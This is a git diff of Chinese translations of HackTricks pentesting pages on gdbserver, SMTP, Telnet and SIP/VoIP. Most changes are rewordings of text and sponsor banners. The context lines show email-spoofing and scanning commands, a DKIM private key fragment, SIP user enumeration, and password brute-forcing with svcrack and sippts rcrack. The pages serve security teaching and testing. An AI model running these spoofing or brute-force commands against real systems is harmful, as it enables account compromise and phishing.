**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -172,7 +172,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -17,15 +17,15 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**gdbserver** 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上运行,称为“目标”。这种设置允许 **GNU 调试器** 从不同的机器“主机”连接,主机上存储着源代码和调试程序的二进制副本。**gdbserver** 和调试器之间的连接可以通过 TCP 或串行线路进行,从而实现灵活的调试设置。
|
||||
**gdbserver** 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上并行运行,称为“目标”。这种设置允许 **GNU 调试器** 从不同的机器“主机”连接,主机上存储着源代码和被调试程序的二进制副本。**gdbserver** 和调试器之间的连接可以通过 TCP 或串行线路进行,从而实现灵活的调试设置。
|
||||
|
||||
您可以让 **gdbserver 在任何端口上监听**,而此时 **nmap 无法识别该服务**。
|
||||
|
||||
|
@ -200,22 +200,22 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -179,7 +179,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
|
||||
## DSN报告
|
||||
|
||||
**投递状态通知报告**:如果您向一个组织发送电子邮件到一个**无效地址**,该组织将通知您该地址无效,并**回复您一封邮件**。**返回邮件的头部**将**包含**可能的**敏感信息**(如与报告交互的邮件服务的IP地址或防病毒软件信息)。
|
||||
**投递状态通知报告**:如果您向一个组织发送电子邮件到一个**无效地址**,该组织将通过**邮件回复您**来通知该地址无效。**返回邮件的头部**将**包含**可能的**敏感信息**(如与报告交互的邮件服务的IP地址或防病毒软件信息)。
|
||||
|
||||
## [命令](smtp-commands.md)
|
||||
|
||||
|
@ -248,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
|
||||
## SMTP Smuggling
|
||||
|
||||
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一节)。有关 SMTP Smuggling 的更多信息,请查看:
|
||||
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一部分)。有关 SMTP Smuggling 的更多信息,请查看:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
|
@ -258,7 +258,7 @@ SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信
|
|||
|
||||
由于伪造 SMTP 消息的容易性,组织通过采用 **SPF**、**DKIM** 和 **DMARC** 来防止未经授权的电子邮件代表他们发送。
|
||||
|
||||
有关这些对策的 **完整指南** 可在 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) 上找到。
|
||||
有关这些对策的 **完整指南** 可在 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) 获取。
|
||||
|
||||
### SPF
|
||||
|
||||
|
@ -285,8 +285,8 @@ SPF [在 2014 年被“弃用”](https://aws.amazon.com/premiumsupport/knowledg
|
|||
| INCLUDE | 引用另一个域的策略。如果该域的策略通过,则此机制通过。然而,如果包含的策略失败,则继续处理。要完全委托给另一个域的策略,必须使用重定向扩展。 |
|
||||
| REDIRECT | <p>重定向是指向另一个域名的指针,该域名托管 SPF 策略,它允许多个域共享相同的 SPF 策略。当处理大量共享相同电子邮件基础设施的域时,它非常有用。</p><p>将使用重定向机制中指示的域的 SPF 策略。</p> |
|
||||
|
||||
还可以识别 **限定符**,指示 **如果匹配机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配任何机制,则表示允许)。\
|
||||
您通常会注意到 **每个 SPF 策略的末尾** 有类似于:**\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)该电子邮件。**
|
||||
还可以识别 **限定符**,指示 **如果匹配了某个机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配了任何机制,则表示允许)。\
|
||||
您通常会在 **每个 SPF 策略的末尾** 注意到类似于:**\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)该电子邮件。**
|
||||
|
||||
#### 限定符
|
||||
|
||||
|
@ -356,10 +356,10 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
| -------- | -------------------------------------------- | -------------------------------- |
|
||||
| v | 协议版本 | v=DMARC1 |
|
||||
| pct | 受过滤消息的百分比 | pct=20 |
|
||||
| ruf | 法医报告的报告 URI | ruf=mailto:authfail@example.com |
|
||||
| ruf | 取证报告的报告 URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com |
|
||||
| p | 组织域的策略 | p=quarantine |
|
||||
| sp | 组织域子域的策略 | sp=reject |
|
||||
| sp | OD 的子域策略 | sp=reject |
|
||||
| adkim | DKIM 的对齐模式 | adkim=s |
|
||||
| aspf | SPF 的对齐模式 | aspf=r |
|
||||
|
||||
|
@ -367,11 +367,11 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
|
||||
**来自** [**这里**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
您需要为每个希望发送邮件的子域拥有单独的 SPF 记录。\
|
||||
以下内容最初发布在 openspf.org,该网站曾是此类信息的极好资源。
|
||||
以下内容最初发布在 openspf.org 上,该网站曾是此类信息的极好资源。
|
||||
|
||||
> 恶魔问题:子域怎么办?
|
||||
>
|
||||
> 如果我从 pielovers.demon.co.uk 收到邮件,而 pielovers 没有 SPF 数据,我应该回到上一级并测试 demon.co.uk 的 SPF 吗?不应该。Demon 的每个子域都是不同的客户,每个客户可能有自己的政策。Demon 的政策默认适用于所有客户是没有意义的;如果 Demon 想这样做,可以为每个子域设置 SPF 记录。
|
||||
> 如果我从 pielovers.demon.co.uk 收到邮件,而 pielovers 没有 SPF 数据,我应该回退一级并测试 demon.co.uk 的 SPF 吗?不应该。Demon 的每个子域都是不同的客户,每个客户可能有自己的政策。Demon 的政策默认适用于所有客户是没有意义的;如果 Demon 想这样做,可以为每个子域设置 SPF 记录。
|
||||
>
|
||||
> 因此,给 SPF 发布者的建议是:您应该为每个具有 A 或 MX 记录的子域或主机名添加 SPF 记录。
|
||||
>
|
||||
|
@ -381,9 +381,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
|
||||
### **开放转发**
|
||||
|
||||
发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
|
||||
发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**收件人信任的中继服务器**来实现。然而,一个常见的挑战是,管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
|
||||
|
||||
一些管理员使用的解决方法是允许来自任何 IP 地址的连接,以避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信。这是通过将 SMTP 服务器的 `mynetworks` 参数配置为接受所有 IP 地址来实现的,如下所示:
|
||||
一些管理员使用的解决方法是为了避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信,**允许来自任何 IP 地址的连接**。这是通过配置 SMTP 服务器的 `mynetworks` 参数以接受所有 IP 地址来实现的,如下所示:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
@ -413,7 +413,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
|
|||
```
|
||||
{% hint style="warning" %}
|
||||
如果您在使用 dkim python lib 解析密钥时遇到任何 **错误**,请随意使用以下内容。\
|
||||
**注意**:这只是一个临时解决方案,用于在某些情况下快速检查,其中由于某种原因 openssl 私钥 **无法被 dkim 解析**。
|
||||
**注意**:这只是一个临时修复,用于在某些情况下快速检查,其中由于某种原因 openssl 私钥 **无法被 dkim 解析**。
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||
|
@ -514,7 +514,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* 损坏的电子邮件内容
|
||||
* 使用的值与邮件头不同
|
||||
* 存在有效且受信任的SSL证书
|
||||
* 将页面提交给网络内容过滤网站
|
||||
* 将页面提交到网络内容过滤网站
|
||||
|
||||
## 通过SMTP进行外泄
|
||||
|
||||
|
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -605,7 +605,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -41,13 +41,13 @@
|
|||
此 SMTP 命令通知远程服务器附加电子邮件的估计大小(以字节为单位)。它也可以用于报告服务器接受的最大消息大小。
|
||||
|
||||
**DATA**\
|
||||
通过 DATA 命令,电子邮件内容开始传输;通常后面跟着服务器给出的 354 回复代码,允许开始实际传输。
|
||||
使用 DATA 命令开始传输电子邮件内容;通常后面跟着服务器给出的 354 回复代码,允许开始实际传输。
|
||||
|
||||
**VRFY**\
|
||||
请求服务器验证特定电子邮件地址或用户名是否实际存在。
|
||||
|
||||
**TURN**\
|
||||
此命令用于在客户端和服务器之间反转角色,而无需建立新的连接。
|
||||
此命令用于在客户端和服务器之间反转角色,而无需重新建立连接。
|
||||
|
||||
**AUTH**\
|
||||
通过 AUTH 命令,客户端向服务器进行身份验证,提供其用户名和密码。这是保证正确传输的另一层安全性。
|
||||
|
@ -66,7 +66,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -81,7 +81,7 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,15 +17,15 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
Telnet 是一种网络协议,提供用户通过网络访问计算机的非安全方式。
|
||||
Telnet 是一种网络协议,允许用户以不安全的方式通过网络访问计算机。
|
||||
|
||||
**默认端口:** 23
|
||||
```
|
||||
|
@ -89,7 +89,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -104,8 +104,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -126,7 +126,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
493 Undecipherable
|
||||
494 Security Agreement Required
|
||||
```
|
||||
**5xx—服务器故障响应**
|
||||
**5xx—服务器失败响应**
|
||||
```
|
||||
500 Internal Server Error
|
||||
501 Not Implemented
|
||||
|
@ -138,7 +138,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
555 Push Notification Service Not Supported
|
||||
580 Precondition Failure
|
||||
```
|
||||
**6xx—全局失败响应**
|
||||
**6xx—全球失败响应**
|
||||
```
|
||||
600 Busy Everywhere
|
||||
603 Decline
|
||||
|
@ -212,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
|||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`SIPPTS scan`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS扫描是一个非常快速的SIP服务扫描器,支持UDP、TCP或TLS。它使用多线程,可以扫描大范围的网络。它允许轻松指示端口范围,扫描TCP和UDP,使用其他方法(默认情况下将使用OPTIONS)并指定不同的User-Agent(等等)。
|
||||
* **`SIPPTS scan`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 扫描是一个非常快速的扫描器,用于通过 UDP、TCP 或 TLS 扫描 SIP 服务。它使用多线程,可以扫描大范围的网络。它允许轻松指示端口范围,扫描 TCP 和 UDP,使用其他方法(默认情况下将使用 OPTIONS)并指定不同的 User-Agent(等等)。
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -243,13 +243,13 @@ PBX 还可能暴露其他网络服务,例如:
|
|||
|
||||
### 方法枚举
|
||||
|
||||
可以使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS enumerate` 找到 **可用的方法** 以在 PBX 中使用。
|
||||
可以使用 `SIPPTS enumerate` 从 [**sippts**](https://github.com/Pepelux/sippts) 找到 **可用的方法**。
|
||||
```bash
|
||||
sippts enumerate -i 10.10.0.10
|
||||
```
|
||||
### 分析服务器响应
|
||||
|
||||
分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS send`,我们可以发送个性化消息,操控所有头部,并分析响应。
|
||||
分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS send`,我们可以发送个性化消息,操纵所有头部,并分析响应。
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
|
@ -274,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
|||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举器**。enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举器**。enumIAX 可以在两种不同模式下运行:顺序用户名猜测或字典攻击。
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
|
@ -283,7 +283,7 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### 密码暴力破解 - 在线
|
||||
|
||||
在发现了 **PBX** 和一些 **扩展/用户名** 后,红队可以尝试通过 `REGISTER` 方法对扩展进行身份验证,使用常见密码的字典进行暴力破解。
|
||||
在发现了 **PBX** 和一些 **扩展/用户名** 后,红队可以尝试通过 `REGISTER` 方法对扩展进行身份验证,使用常见密码字典进行暴力破解。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,**用户名** 可以与扩展相同,但这种做法可能会因 PBX 系统、其配置和组织的偏好而有所不同...
|
||||
|
@ -296,7 +296,7 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
* **`SIPPTS rcrack`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以在不同的 IP 和端口范围内测试多个用户的密码。
|
||||
* **`SIPPTS rcrack`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以测试不同 IP 和端口范围内多个用户的密码。
|
||||
```bash
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
|
@ -308,7 +308,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
